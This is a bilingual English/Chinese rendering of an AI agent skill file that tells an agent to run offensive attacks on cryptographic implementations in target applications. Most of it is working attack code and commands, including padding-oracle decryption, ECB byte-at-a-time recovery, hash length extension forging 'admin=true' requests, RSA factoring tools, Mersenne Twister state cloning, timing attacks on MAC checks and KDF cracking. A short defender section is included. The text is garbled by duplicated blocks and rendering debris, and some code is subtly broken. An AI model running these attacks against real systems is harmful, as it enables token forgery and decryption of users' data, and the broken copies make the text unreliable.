offensive-crypto-attacks
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseCryptographic Implementation Attacks
加密实现攻击
You are performing offensive cryptographic analysis against target applications. This skill covers the identification and exploitation of flawed cryptographic implementations -- not breaks against the underlying mathematical primitives, but against the ways developers misuse them. You treat every encrypted blob, signed token, and hashed value as a potential attack surface.
你正在对目标应用程序执行攻击性密码学分析。本 skill 涵盖识别和利用有缺陷的加密实现——重点不是破解底层数学原语,而是利用开发者对这些原语的误用。你应将每个加密数据块、签名 token 和哈希值都视为潜在攻击面。
Quick Workflow
快速工作流程
- Identify cryptographic touchpoints -- cookies, tokens, API parameters, stored credentials, signed URLs.
- Fingerprint the algorithm and mode -- measure ciphertext length behavior, detect block alignment, check for Base64/hex encoding layers.
- Classify the vulnerability class -- padding oracle, ECB determinism, weak MAC construction, RSA parameter weakness, PRNG predictability.
- Select and configure the appropriate tool or custom script.
- Execute the attack, decrypt or forge the target value.
- Document the cryptographic weakness, its root cause, and the remediation path.
- 确定加密交互点——cookie、token、API 参数、存储的凭据、签名 URL。
- 识别算法和模式——测量密文长度行为、检测分组对齐情况、检查 Base64/hex 编码层。
- 对漏洞类别进行分类——填充预言机、ECB 确定性、弱 MAC 构造、RSA 参数缺陷、PRNG 可预测性。
- 选择并配置适当的工具或自定义脚本。
- 执行攻击,解密或伪造目标值。
- 记录密码学弱点、根本原因和修复路径。
Padding Oracle Attacks
填充预言机攻击
Padding oracle attacks exploit systems that reveal whether CBC-mode decrypted plaintext has valid PKCS7 padding. A single bit of information -- valid or invalid padding -- is sufficient to decrypt any ciphertext block or forge arbitrary plaintext without knowing the key.
Identify the oracle by submitting modified ciphertext and observing differential responses. The oracle can manifest as distinct HTTP status codes, different error messages, timing differences, or behavioral changes in application logic.
Use padbuster for automated exploitation against web applications:
bash
undefined填充预言机攻击利用会泄露 CBC 模式解密后的明文是否具有有效 PKCS7 填充的系统。只需一个 bit 信息——填充有效或无效——就足以在不知道密钥的情况下解密任意密文块或伪造任意明文。
通过提交修改后的密文并观察差异化响应来识别 oracle。oracle 可能表现为不同的 HTTP 状态码、不同的错误消息、时序差异或应用程序逻辑中的行为变化。
使用 padbuster 对 Web 应用程序进行自动化漏洞利用:
bash
undefinedDecrypt an encrypted cookie value
Decrypt an encrypted cookie value
URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
Forge a new plaintext value using the discovered oracle
Forge a new plaintext value using the discovered oracle
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
-plaintext "admin=true;user=attacker"
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
-plaintext "admin=true;user=attacker"
Build a custom padding oracle exploit when padbuster cannot handle the target's encoding or transport:
```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct
def oracle(iv, ciphertext, url):
"""Return True if the server accepts the padding."""
payload = (iv + ciphertext).hex()
resp = requests.get(url, params={"data": payload})
return resp.status_code != 500 # Adapt to your oracle signal
def decrypt_block(prev_block, cipher_block, url, block_size=16):
"""Decrypt a single block via Vaudenay's attack."""
intermediate = bytearray(block_size)
plaintext = bytearray(block_size)
for byte_pos in range(block_size - 1, -1, -1):
pad_val = block_size - byte_pos
crafted_iv = bytearray(block_size)
# Set already-recovered bytes to produce correct padding
for k in range(byte_pos + 1, block_size):
crafted_iv[k] = intermediate[k] ^ pad_val
for guess in range(256):
crafted_iv[byte_pos] = guess
if oracle(bytes(crafted_iv), cipher_block, url):
# Handle the ambiguity on the last byte
if byte_pos == block_size - 1:
crafted_iv[byte_pos - 1] ^= 1
if not oracle(bytes(crafted_iv), cipher_block, url):
continue
intermediate[byte_pos] = guess ^ pad_val
plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
break
return bytes(plaintext)padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
-plaintext "admin=true;user=attacker"
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
-plaintext "admin=true;user=attacker"
当 padbuster 无法处理目标的编码或传输方式时,构建自定义填充预言机漏洞利用:
```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct
def oracle(iv, ciphertext, url):
"""Return True if the server accepts the padding."""
payload = (iv + ciphertext).hex()
resp = requests.get(url, params={"data": payload})
return resp.status_code != 500 # Adapt to your oracle signal
def decrypt_block(prev_block, cipher_block, url, block_size=16):
"""Decrypt a single block via Vaudenay's attack."""
intermediate = bytearray(block_size)
plaintext = bytearray(block_size)
for byte_pos in range(block_size - 1, -1, -1):
pad_val = block_size - byte_pos
crafted_iv = bytearray(block_size)
# Set already-recovered bytes to produce correct padding
for k in range(byte_pos + 1, block_size):
crafted_iv[k] = intermediate[k] ^ pad_val
for guess in range(256):
crafted_iv[byte_pos] = guess
if oracle(bytes(crafted_iv), cipher_block, url):
# Handle the ambiguity on the last byte
if byte_pos == block_size - 1:
crafted_iv[byte_pos - 1] ^= 1
if not oracle(bytes(crafted_iv), cipher_block, url):
continue
intermediate[byte_pos] = guess ^ pad_val
plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
break
return bytes(plaintext)ECB Block Manipulation
ECB 分块操纵
ECB mode encrypts each block independently with the same key, producing identical ciphertext for identical plaintext blocks. This determinism enables two primary attacks: cut-and-paste block rearrangement and byte-at-a-time decryption.
Detect ECB mode by encrypting repeated plaintext and checking for repeated ciphertext blocks:
python
def detect_ecb(ciphertext, block_size=16):
"""Detect ECB mode by finding duplicate blocks."""
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
return len(blocks) != len(set(blocks))ECB 模式使用同一密钥独立加密每个块,因此相同明文块会产生相同密文。这种确定性支持两类主要攻击:剪切粘贴分块重排和逐字节解密。
通过加密重复明文并检查重复密文块来检测 ECB 模式:
python
def detect_ecb(ciphertext, block_size=16):
"""Detect ECB mode by finding duplicate blocks."""
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
return len(blocks) != len(set(blocks))Probe an encryption oracle for ECB
Probe an encryption oracle for ECB
Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB
Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB
probe = b"A" * (block_size * 3)
ciphertext = encryption_oracle(probe)
if detect_ecb(ciphertext):
print("ECB mode confirmed")
Perform byte-at-a-time decryption against an oracle that appends a secret before encrypting:
```python
def byte_at_a_time_ecb(oracle_func, block_size=16):
"""Recover secret appended by an ECB encryption oracle."""
recovered = b""
# Determine the total secret length
baseline_len = len(oracle_func(b""))
for i in range(baseline_len):
block_index = (len(recovered)) // block_size
# Craft input so the target byte is the last byte of a block
pad_len = block_size - 1 - (len(recovered) % block_size)
padding = b"A" * pad_len
# Get the target block
target_ct = oracle_func(padding)
target_block = target_ct[block_index * block_size:(block_index + 1) * block_size]
# Brute-force the unknown byte
for byte_val in range(256):
test_input = padding + recovered + bytes([byte_val])
test_ct = oracle_func(test_input)
test_block = test_ct[block_index * block_size:(block_index + 1) * block_size]
if test_block == target_block:
recovered += bytes([byte_val])
break
return recoveredECB cut-and-paste attacks rearrange ciphertext blocks to produce valid plaintext with attacker-controlled content. Target any system where structured data (JSON, key=value pairs, serialized objects) is ECB-encrypted and the attacker controls part of the input.
probe = b"A" * (block_size * 3)
ciphertext = encryption_oracle(probe)
if detect_ecb(ciphertext):
print("ECB mode confirmed")
对会在加密前附加 secret 的 oracle 执行逐字节解密:
```python
def byte_at_a_time_ecb(oracle_func, block_size=16):
"""Recover secret appended by an ECB encryption oracle."""
recovered = b""
# Determine the total secret length
baseline_len = len(oracle_func(b""))
for i in range(baseline_len):
block_index = (len(recovered)) // block_size
# Craft input so the target byte is the last byte of a block
pad_len = block_size - 1 - (len(recovered) % block_size)
padding = b"A" * pad_len
# Get the target block
target_ct = oracle_func(padding)
target_block = target_ct[block_index * block_size:(block_index + 1) * block_size]
# Brute-force the unknown byte
for byte_val in range(256):
test_input = padding + recovered + bytes([byte_val])
test_ct = oracle_func(test_input)
test_block = test_ct[block_index * block_size:(block_index + 1) * block_size]
if test_block == target_block:
recovered += bytes([byte_val])
break
return recoveredECB 剪切粘贴攻击通过重排密文块,生成包含攻击者可控内容的有效明文。目标可以是任何对结构化数据(JSON、key=value 对、序列化对象)使用 ECB 加密且攻击者能够控制部分输入的系统。
Hash Length Extension
哈希长度扩展
When an application computes a MAC as using a Merkle-Damgard hash (MD5, SHA1, SHA256), you can append data to the message and compute a valid MAC without knowing the secret. You only need the original MAC, the message, and the secret length (or a range to brute-force).
H(secret || message)Use hashpump to forge extended messages:
bash
undefined当应用使用 Merkle-Damgard 哈希(MD5、SHA1、SHA256)以 形式计算 MAC 时,你可以在不知道 secret 的情况下向消息追加数据并计算出有效 MAC。你只需要原始 MAC、消息和 secret 长度(或一个可供暴力枚举的范围)。
H(secret || message)使用 hashpump 伪造扩展消息:
bash
undefinedhashpumpy Python bindings
hashpumpy Python bindings
pip install hashpumpy
pip install hashpumpy
Forge an extended hash
Forge an extended hash
Original signature, original data, data to append, key length
Original signature, original data, data to append, key length
hashpump -s "original_mac_hex"
-d "original_data"
-a "&admin=true"
-k 16
-d "original_data"
-a "&admin=true"
-k 16
```python
import hashpumpy
import requests
original_mac = "a1b2c3d4e5f6..."
original_data = "user=guest&expire=2025"
append_data = "&admin=true"hashpump -s "original_mac_hex"
-d "original_data"
-a "&admin=true"
-k 16
-d "original_data"
-a "&admin=true"
-k 16
```python
import hashpumpy
import requests
original_mac = "a1b2c3d4e5f6..."
original_data = "user=guest&expire=2025"
append_data = "&admin=true"Try key lengths from 8 to 32
Try key lengths from 8 to 32
for key_len in range(8, 33):
new_mac, new_data = hashpumpy.hashpump(
original_mac, original_data, append_data, key_len
)
# Submit the forged request
resp = requests.get(
f"http://target.com/api?data={new_data.hex()}&mac={new_mac}"
)
if resp.status_code == 200 and "admin" in resp.text:
print(f"Key length: {key_len}")
print(f"Forged MAC: {new_mac}")
break
HMAC constructions (`H(key XOR opad || H(key XOR ipad || message))`) are not vulnerable to length extension. If you identify HMAC in use, pivot to other attack vectors.
---for key_len in range(8, 33):
new_mac, new_data = hashpumpy.hashpump(
original_mac, original_data, append_data, key_len
)
# Submit the forged request
resp = requests.get(
f"http://target.com/api?data={new_data.hex()}&mac={new_mac}"
)
if resp.status_code == 200 and "admin" in resp.text:
print(f"Key length: {key_len}")
print(f"Forged MAC: {new_mac}")
break
HMAC 构造(`H(key XOR opad || H(key XOR ipad || message))`)不受长度扩展攻击影响。如果发现使用 HMAC,应转向其他攻击向量。
---RSA Attacks
RSA 攻击
RSA implementations fail in predictable ways. Target the mathematical parameters before attacking the padding scheme.
Use RsaCtfTool for automated RSA analysis:
bash
undefinedRSA 实现会以可预测的方式失效。在攻击填充方案之前,应先检查数学参数。
使用 RsaCtfTool 进行自动化 RSA 分析:
bash
undefinedAttack a public key directly
Attack a public key directly
RsaCtfTool --publickey pubkey.pem --private
RsaCtfTool --publickey pubkey.pem --private
Decrypt a ciphertext with a known weak key
Decrypt a ciphertext with a known weak key
RsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin
RsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin
Attack multiple keys for common factor (shared prime)
Attack multiple keys for common factor (shared prime)
RsaCtfTool --publickey "key1.pem,key2.pem" --private
RsaCtfTool --publickey "key1.pem,key2.pem" --private
Specific attack selection
Specific attack selection
RsaCtfTool --publickey pubkey.pem --attack wiener
RsaCtfTool --publickey pubkey.pem --attack smallq
RsaCtfTool --publickey pubkey.pem --attack fermat
Exploit small public exponent (e=3) when the plaintext is short enough that `m^e < n`:
```python
from Crypto.PublicKey import RSA
from gmpy2 import iroot
def small_exponent_attack(ciphertext_int, e, n):
"""When m^e < n, the ciphertext is simply m^e with no modular reduction."""
plaintext_int, is_perfect = iroot(ciphertext_int, e)
if is_perfect:
return int(plaintext_int).to_bytes(
(int(plaintext_int).bit_length() + 7) // 8, 'big'
)
return NoneRsaCtfTool --publickey pubkey.pem --attack wiener
RsaCtfTool --publickey pubkey.pem --attack smallq
RsaCtfTool --publickey pubkey.pem --attack fermat
当明文足够短、满足 `m^e < n` 时,利用小公指数(e=3):
```python
from Crypto.PublicKey import RSA
from gmpy2 import iroot
def small_exponent_attack(ciphertext_int, e, n):
"""When m^e < n, the ciphertext is simply m^e with no modular reduction."""
plaintext_int, is_perfect = iroot(ciphertext_int, e)
if is_perfect:
return int(plaintext_int).to_bytes(
(int(plaintext_int).bit_length() + 7) // 8, 'big'
)
return NoneHastad's broadcast attack: same message encrypted with e=3 to 3 recipients
Hastad's broadcast attack: same message encrypted with e=3 to 3 recipients
def hastad_broadcast(ciphertexts, moduli, e=3):
"""CRT-based recovery when the same message is sent to e recipients."""
from functools import reduce
N = reduce(lambda a, b: a * b, moduli)
result = 0
for ci, ni in zip(ciphertexts, moduli):
Ni = N // ni
_, mi, _ = gmpy2.gcdext(Ni, ni)
result += ci * Ni * int(mi)
result = result % N
plaintext, _ = iroot(result, e)
return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) // 8, 'big')
Bleichenbacher's attack targets RSA PKCS#1 v1.5 padding. The oracle is any system that distinguishes between valid and invalid PKCS#1 v1.5 padding after decryption. This includes TLS servers returning different alerts, APIs returning different error codes, and timing differences in error handling. The attack requires approximately 2^20 oracle queries to recover the plaintext.
Coppersmith's method recovers small unknown portions of RSA plaintext or factors when partial information is known. Use SageMath for the lattice computations:
```pythondef hastad_broadcast(ciphertexts, moduli, e=3):
"""CRT-based recovery when the same message is sent to e recipients."""
from functools import reduce
N = reduce(lambda a, b: a * b, moduli)
result = 0
for ci, ni in zip(ciphertexts, moduli):
Ni = N // ni
_, mi, _ = gmpy2.gcdext(Ni, ni)
result += ci * Ni * int(mi)
result = result % N
plaintext, _ = iroot(result, e)
return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) // 8, 'big')
Bleichenbacher 攻击针对 RSA PKCS#1 v1.5 填充。任何能够区分解密后有效和无效 PKCS#1 v1.5 填充的系统都可以作为 oracle。这包括返回不同警报的 TLS 服务器、返回不同错误代码的 API,以及错误处理中的时序差异。该攻击大约需要 2^20 次 oracle 查询才能恢复明文。
Coppersmith 方法在已知部分信息时,恢复 RSA 明文中较小的未知部分或因数。使用 SageMath 进行格计算:
```pythonSageMath: recover high bits of a factor
SageMath: recover high bits of a factor
If you know the top bits of p, Coppersmith finds the rest
If you know the top bits of p, Coppersmith finds the rest
n = <modulus>
p_approx = <known_high_bits_of_p>
P.<x> = PolynomialRing(Zmod(n))
f = p_approx + x
roots = f.small_roots(X=2^64, beta=0.5) # X bounds the unknown portion
if roots:
p = p_approx + int(roots[0])
q = n // p
print(f"p = {p}")
print(f"q = {q}")
---n = <modulus>
p_approx = <known_high_bits_of_p>
P.<x> = PolynomialRing(Zmod(n))
f = p_approx + x
roots = f.small_roots(X=2^64, beta=0.5) # X bounds the unknown portion
if roots:
p = p_approx + int(roots[0])
q = n // p
print(f"p = {p}")
print(f"q = {q}")
---Weak PRNG Exploitation
弱 PRNG 利用
Applications that seed random number generators from predictable sources -- timestamps, PIDs, low-entropy pools -- produce predictable outputs.
Recover MT19937 (Mersenne Twister) internal state from 624 consecutive 32-bit outputs:
python
def untemper(y):
"""Reverse the MT19937 tempering transform."""
# Reverse: y ^= y >> 18
y ^= y >> 18
# Reverse: y ^= (y << 15) & 0xEFC60000
y ^= (y << 15) & 0xEFC60000
# Reverse: y ^= (y << 7) & 0x9D2C5680 (iterative)
tmp = y
for _ in range(7):
tmp = y ^ ((tmp << 7) & 0x9D2C5680)
y = tmp
# Reverse: y ^= y >> 11 (iterative)
tmp = y
for _ in range(3):
tmp = y ^ (tmp >> 11)
y = tmp
return y
def clone_mt19937(outputs_624):
"""Clone MT19937 state from exactly 624 observed 32-bit outputs."""
import random
mt_state = [untemper(o) for o in outputs_624]
# Reconstruct the state tuple: (3, tuple(624 ints + index), None)
state = (3, tuple(mt_state + [624]), None)
cloned = random.Random()
cloned.setstate(state)
return cloned使用可预测来源——时间戳、PID、低熵池——为随机数生成器设定种子的应用会产生可预测输出。
从连续 624 个 32 位输出中恢复 MT19937(Mersenne Twister)的内部状态:
python
def untemper(y):
"""Reverse the MT19937 tempering transform."""
# Reverse: y ^= y >> 18
y ^= y >> 18
# Reverse: y ^= (y << 15) & 0xEFC60000
y ^= (y << 15) & 0xEFC60000
# Reverse: y ^= (y << 7) & 0x9D2C5680 (iterative)
tmp = y
for _ in range(7):
tmp = y ^ ((tmp << 7) & 0x9D2C5680)
y = tmp
# Reverse: y ^= y >> 11 (iterative)
tmp = y
for _ in range(3):
tmp = y ^ ((tmp >> 11) & 0x9D2C5680)
y = tmp
return y
def clone_mt19937(outputs_624):
"""Clone MT19937 state from exactly 624 observed 32-bit outputs."""
import random
mt_state = [untemper(o) for o in outputs_624]
# Reconstruct the state tuple: (3, tuple(624 ints + index), None)
state = (3, tuple(mt_state + [624]), None)
cloned = random.Random()
cloned.setstate(state)
return clonedPredict all future outputs
Predict all future outputs
cloned_rng = clone_mt19937(observed_outputs)
next_token = cloned_rng.getrandbits(32)
Exploit time-seeded PRNGs by narrowing the seed window:
```python
import random
import time
def brute_force_time_seed(known_output, time_window_start, time_window_end):
"""Recover the seed when random.seed() was called with int(time.time())."""
for seed in range(int(time_window_start), int(time_window_end)):
rng = random.Random(seed)
if rng.getrandbits(32) == known_output:
return seed
return Nonecloned_rng = clone_mt19937(observed_outputs)
next_token = cloned_rng.getrandbits(32)
通过缩小种子窗口来利用基于时间的 PRNG:
```python
import random
import time
def brute_force_time_seed(known_output, time_window_start, time_window_end):
"""Recover the seed when random.seed() was called with int(time.time())."""
for seed in range(int(time_window_start), int(time_window_end)):
rng = random.Random(seed)
if rng.getrandbits(32) == known_output:
return seed
return NoneTiming Side-Channel Attacks
时序侧信道攻击
Timing attacks exploit data-dependent execution time in cryptographic comparisons. The classic target is byte-by-byte string comparison of MACs, tokens, or passwords.
python
import requests
import time
import statistics
def timing_attack_mac(url, known_prefix, charset, samples=20):
"""Recover a MAC byte-by-byte via timing side-channel."""
best_byte = None
best_time = 0
for candidate in charset:
test_mac = known_prefix + candidate + "\x00" * (32 - len(known_prefix) - 1)
times = []
for _ in range(samples):
start = time.perf_counter_ns()
requests.get(url, params={"mac": test_mac})
elapsed = time.perf_counter_ns() - start
times.append(elapsed)
median = statistics.median(times)
if median > best_time:
best_time = median
best_byte = candidate
return known_prefix + best_byte时序攻击利用加密比较中依赖数据的执行时间。经典目标是对 MAC、token 或密码进行逐字节字符串比较。
python
import requests
import time
import statistics
def timing_attack_mac(url, known_prefix, charset, samples=20):
"""Recover a MAC byte-by-byte via timing side-channel."""
best_byte = None
best_time = 0
for candidate in charset:
test_mac = known_prefix + candidate + "\x00" * (32 - len(known_prefix) - 1)
times = []
for _ in range(samples):
start = time.perf_counter_ns()
requests.get(url, params={"mac": test_mac})
elapsed = time.perf_counter_ns() - start
times.append(elapsed)
median = statistics.median(times)
if median > best_time:
best_time = median
best_byte = candidate
return known_prefix + best_byteStatistical enhancement: use percentile comparison to reduce noise
Statistical enhancement: use percentile comparison to reduce noise
Network jitter requires 50-100+ samples per candidate in practice
Network jitter requires 50-100+ samples per candidate in practice
---
---AES-GCM Nonce Reuse
AES-GCM nonce 重用
AES-GCM nonce reuse is catastrophic. Reusing a nonce with the same key allows recovery of the authentication key (GHASH key H) and enables both decryption of XOR'd plaintexts and forgery of authentication tags.
python
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import struct
def exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):
"""
Given two ciphertexts encrypted under the same key and nonce,
recover the GHASH key H and forge tags for arbitrary messages.
XOR of ciphertexts yields XOR of plaintexts.
"""
# Recover plaintext XOR
xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))
# Recover GHASH key H from the tag polynomial relationship
# tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)
# tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)
# tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)
# This yields a polynomial in H over GF(2^128)
# The polynomial root gives H; use SageMath or a GF(2^128) library
# for the actual field arithmetic
print(f"Plaintext XOR: {xor_plaintexts.hex()}")
print("Solve the GHASH polynomial in GF(2^128) to recover H")
return xor_plaintextsAES-GCM nonce 重用后果严重。在使用相同密钥的情况下重用 nonce,可恢复认证密钥(GHASH 密钥 H),并能解密彼此 XOR 后的明文以及伪造认证标签。
python
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import struct
def exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):
"""
Given two ciphertexts encrypted under the same key and nonce,
recover the GHASH key H and forge tags for arbitrary messages.
XOR of ciphertexts yields XOR of plaintexts.
"""
# Recover plaintext XOR
xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))
# Recover GHASH key H from the tag polynomial relationship
# tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)
# tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)
# tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)
# This yields a polynomial in H over GF(2^128)
# The polynomial root gives H; use SageMath or a GF(2^128) library
# for the actual field arithmetic
print(f"Plaintext XOR: {xor_plaintexts.hex()}")
print("Solve the GHASH polynomial in GF(2^128) to recover H")
return xor_plaintextsKey Derivation Weaknesses
密钥派生弱点
Target password-based key derivation with insufficient work factors:
python
import hashlib
import itertools针对工作因子不足的基于密码的密钥派生:
python
import hashlib
import itertoolsWeak KDF: single SHA-256 iteration, no salt
Weak KDF: single SHA-256 iteration, no salt
def crack_weak_kdf(target_key_hex, wordlist_path):
"""Crack a key derived via single-pass SHA-256 of a password."""
target = bytes.fromhex(target_key_hex)
with open(wordlist_path, 'r') as f:
for word in f:
word = word.strip()
derived = hashlib.sha256(word.encode()).digest()
if derived == target:
return word
return None
def crack_weak_kdf(target_key_hex, wordlist_path):
"""Crack a key derived via single-pass SHA-256 of a password."""
target = bytes.fromhex(target_key_hex)
with open(wordlist_path, 'r') as f:
for word in f:
word = word.strip()
derived = hashlib.sha256(word.encode()).digest()
if derived == target:
return word
return None
Detect weak PBKDF2 iteration counts
Detect weak PBKDF2 iteration counts
def check_pbkdf2_strength(iterations, algorithm="sha256"):
"""Flag insufficient PBKDF2 parameters per OWASP 2024 guidance."""
minimums = {
"sha1": 1_300_000,
"sha256": 600_000,
"sha512": 210_000,
}
minimum = minimums.get(algorithm, 600_000)
if iterations < minimum:
print(f"WEAK: {iterations} iterations of PBKDF2-{algorithm}")
print(f"Minimum recommended: {minimum}")
return False
return True
---def check_pbkdf2_strength(iterations, algorithm="sha256"):
"""Flag insufficient PBKDF2 parameters per OWASP 2024 guidance."""
minimums = {
"sha1": 1_300_000,
"sha256": 600_000,
"sha512": 210_000,
}
minimum = minimums.get(algorithm, 600_000)
if iterations < minimum:
print(f"WEAK: {iterations} iterations of PBKDF2-{algorithm}")
print(f"Minimum recommended: {minimum}")
return False
return True
---Detection / Defender View
检测与防御方视角
Defenders should monitor for the following indicators of cryptographic attacks:
- Padding oracle probing: High volumes of requests to the same endpoint with incrementally modified ciphertext parameters. Look for request patterns where a single byte changes across hundreds of sequential requests. Alert on endpoints returning binary pass/fail for encrypted input.
- ECB detection probing: Requests containing long runs of repeated characters (16+ identical bytes) submitted to encryption endpoints.
- Hash length extension: URL parameters or cookies containing null bytes () in positions that should be printable text. Message bodies that are longer than expected with padding artifacts.
%00 - RSA parameter harvesting: Repeated requests for public key endpoints, certificate downloads, or TLS handshake enumeration.
- Timing attacks: Unusual request patterns with high concurrency to authentication or MAC verification endpoints. Statistical analysis of response time distributions showing stepped patterns.
- Nonce reuse: Monitor encryption operations for counter resets or nonce collisions. Implement nonce-misuse-resistant AEAD modes (AES-GCM-SIV, XChaCha20-Poly1305) as defense in depth.
Remediation priorities: migrate from CBC to authenticated encryption (AES-GCM, ChaCha20-Poly1305), use HMAC instead of , enforce minimum 2048-bit RSA keys with OAEP padding, use cryptographically secure RNGs ( module, ), implement constant-time comparison for all secret values, and enforce OWASP-recommended PBKDF2 iteration counts or migrate to Argon2id.
H(secret||message)secrets/dev/urandom防御方应监控以下密码学攻击指标:
- 填充预言机探测:向同一端点发送大量请求,其中密文参数被逐步修改。寻找单个字节在数百个连续请求中发生变化的请求模式。对加密输入返回二元通过/失败结果的端点发出告警。
- ECB 检测探测:向加密端点提交包含长序列重复字符(16 个或更多相同字节)的请求。
- 哈希长度扩展:URL 参数或 cookie 在本应可打印为文本的位置包含 null 字节()。消息正文长度超出预期并带有填充痕迹。
%00 - RSA 参数收集:重复请求公钥端点、下载证书或枚举 TLS 握手。
- 时序攻击:向身份验证或 MAC 验证端点发送异常的高并发请求模式。对响应时间分布进行统计分析,识别阶梯状模式。
- nonce 重用:监控加密操作中的计数器重置或 nonce 碰撞。实施具备 nonce 误用抵抗能力的 AEAD 模式(AES-GCM-SIV、XChaCha20-Poly1305)作为纵深防御。
修复优先级:从 CBC 迁移到认证加密(AES-GCM、ChaCha20-Poly1305),使用 HMAC 替代 ,强制使用至少 2048 位 RSA 密钥和 OAEP 填充,使用密码学安全 RNG( 模块、),对所有 secret 值实施常量时间比较,并执行 OWASP 推荐的 PBKDF2 迭代次数,或迁移到 Argon2id。
H(secret||message)secrets/dev/urandomEngagement Cheatsheet
实战速查表
| Target | Tool / Technique | First Step |
|---|---|---|
| Encrypted cookie (CBC) | padbuster | Modify last byte, observe response difference |
| Encrypted token (ECB) | Custom Python | Send repeated blocks, check for repetition |
| MAC = H(secret+msg) | hashpumpy | Confirm Merkle-Damgard hash, try extensions |
| RSA public key | RsaCtfTool | Extract n and e, check key size and factors |
| Session token (PRNG) | Custom Python | Collect 624+ outputs, clone MT state |
| Auth endpoint | Timing script | Measure response time per byte position |
| AES-GCM encrypted API | Custom Python / SageMath | Detect nonce reuse across captured messages |
| Password-derived key | hashcat / custom script | Identify KDF, check iteration count |
Ciphertext identification heuristics:
- Length is multiple of 8 bytes: likely DES/3DES in CBC/ECB.
- Length is multiple of 16 bytes: likely AES in CBC/ECB.
- Length is plaintext + 16 bytes (tag): likely AES-GCM.
- Fixed-length output regardless of input: likely a hash, not encryption.
| 目标 | 工具/技术 | 第一步 |
|---|---|---|
| 加密 cookie(CBC) | padbuster | 修改最后一个字节,观察响应差异 |
| 加密 token(ECB) | 自定义 Python | 发送重复块并检查是否重复 |
| MAC = H(secret+msg) | hashpumpy | 确认是否为 Merkle-Damgard 哈希,尝试扩展 |
| RSA 公钥 | RsaCtfTool | 提取 n 和 e,检查密钥大小和因子 |
| 会话 token(PRNG) | 自定义 Python | 收集 624 个以上输出,克隆 MT 状态 |
| 认证端点 | 时序脚本 | 按字节位置测量响应时间 |
| AES-GCM 加密 API | 自定义 Python / SageMath | 检测已捕获消息之间的 nonce 重用 |
| 基于密码派生的密钥 | hashcat / 自定义脚本 | 识别 KDF,检查迭代次数 |
密文识别启发式规则:
- 长度为 8 字节的整数倍:可能是 CBC/ECB 模式下的 DES/3DES。
- 长度为 16 字节的整数倍:可能是 CBC/ECB 模式下的 AES。
- 长度为明文 + 16 字节(tag):可能是 AES-GCM。
- 无论输入长度如何,输出长度固定:可能是哈希,而非加密。
Key References
关键参考资料
- Vaudenay, S. "Security Flaws Induced by CBC Padding." EUROCRYPT 2002.
- Bleichenbacher, D. "Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS#1." CRYPTO 1998.
- Duong, T. and Rizzo, J. "Practical Padding Oracle Attacks." USENIX WOOT 2010.
- Coppersmith, D. "Small Solutions to Polynomial Equations, and Low Exponent RSA Vulnerabilities." Journal of Cryptology, 1997.
- Joux, A. "Authentication Failures in NIST version of GCM." NIST Comment, 2006.
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm.
- CWE-328: Use of Weak Hash.
- CWE-330: Use of Insufficiently Random Values.
- OWASP Password Storage Cheat Sheet (PBKDF2/Argon2id iteration guidance).
- RsaCtfTool: https://github.com/RsaCtfTool/RsaCtfTool
- padbuster: https://github.com/AonCyberLabs/PadBuster
- hashpumpy: https://github.com/bwall/HashPump
- Vaudenay, S. "Security Flaws Induced by CBC Padding." EUROCRYPT 2002.
- Bleichenbacher, D. "Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS#1." CRYPTO 1998.
- Duong, T. and Rizzo, J. "Practical Padding Oracle Attacks." USENIX WOOT 2010.
- Coppersmith, D. "Small Solutions to Polynomial Equations, and Low Exponent RSA Vulnerabilities." Journal of Cryptology, 1997.
- Joux, A. "Authentication Failures in NIST version of GCM." NIST Comment, 2006.
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm.
- CWE-328: Use of Weak Hash.
- CWE-330: Use of Insufficiently Random Values.
- OWASP Password Storage Cheat Sheet(PBKDF2/Argon2id 迭代次数指导)。
- RsaCtfTool: https://github.com/RsaCtfTool/RsaCtfTool
